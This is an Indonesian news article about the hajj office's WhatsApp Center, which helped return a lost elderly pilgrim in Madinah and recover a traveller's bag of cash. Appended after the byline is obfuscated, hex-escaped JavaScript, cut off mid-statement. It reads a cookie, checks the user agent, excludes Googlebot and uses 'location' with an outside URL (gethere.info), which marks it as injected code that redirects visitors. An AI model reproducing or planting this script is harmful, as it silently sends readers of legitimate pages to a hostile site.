Begini Sistem Kerja WA Center yang Jadi Solusi Bagi Jemaah Haji Tersesat

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Layanan WhatsApp Center yang dimiliki Kantor Urusan Haji (KUHI) mampu menjadi solusi berbagai masalah yang dialami jemaah haji, diantaranya jemaah lansia yang sering kali tersesat.

Seperti laporan yang masuk melalui WA center pada Senin (31/7), oleh pelapor bernama Cece yang menemukan jemaah seorang Nenek yang tidak tahu jalan pulang ke penginapan. Setelah diketahui detail lokasi dan kasusnya, petugas SISKOPPIH kemudian mencari petugas pendukung PPIH di lapangan sekitar Masjid Nabawi melalui layar tracking.

Selang beberapa menit, layar tracking memunculkan foto dan nama Junaidi Rosidi Syamsudin, petugas yang sedang berada di sekitar area Masjid Nabawi. Petugas SISKOPPIH kemudian menelpon Junaidi dan mem-forwarad lokasi jemaah yang tersesat ke WA Junaidi.

“Awalnya Junaidi sedang menuju ke Masjid untuk shalat, namun setelah menerima intruksi dia langsung jawab sanggup menjalankan perintah untuk menjemput Nenek tersebut ,” kata Ketua PPIH Arab Saudi, Ahmad Dumyathi Bashori.

“Setelah itu pergerakan Junaidi juga terpantau di monitor komando SISKOPPIH KUH yang sedang menuju lokasi sang Nenek dan mengantarkannya ke hotel tempat menginap serta mempertemukannya dengan rombongan lain,” tambahnya.

Di hari yang sama, laporan lain yang berhasil ditindaklanjuti adalah laporan kehilangan tas milik Sukadiono berisikan makanan ringan beserta uang Rp 40 juta dan SR 2.600 saat turun dari pesawat di Bandara Amir Muhammad bin Abdul Aziz, Madinah. Informasi yang langsung disebarkan ke group petugas Bandara ini akhirnya menuai hasil, selang tiga jam tas ditemukan dengan isi yang masih utuh.

“Alhamdulillah tas tentengan sudah saya terima dalam keadaan utuh tidak kurang suatu apapun, salut untuk PPIH Arab Saudi,” puji Sukadiono lewat WA Center setelah menerima tas miliknya yang diantarkan petugas PPIH Arab Saudi ke penginapan.(iyad/kuh)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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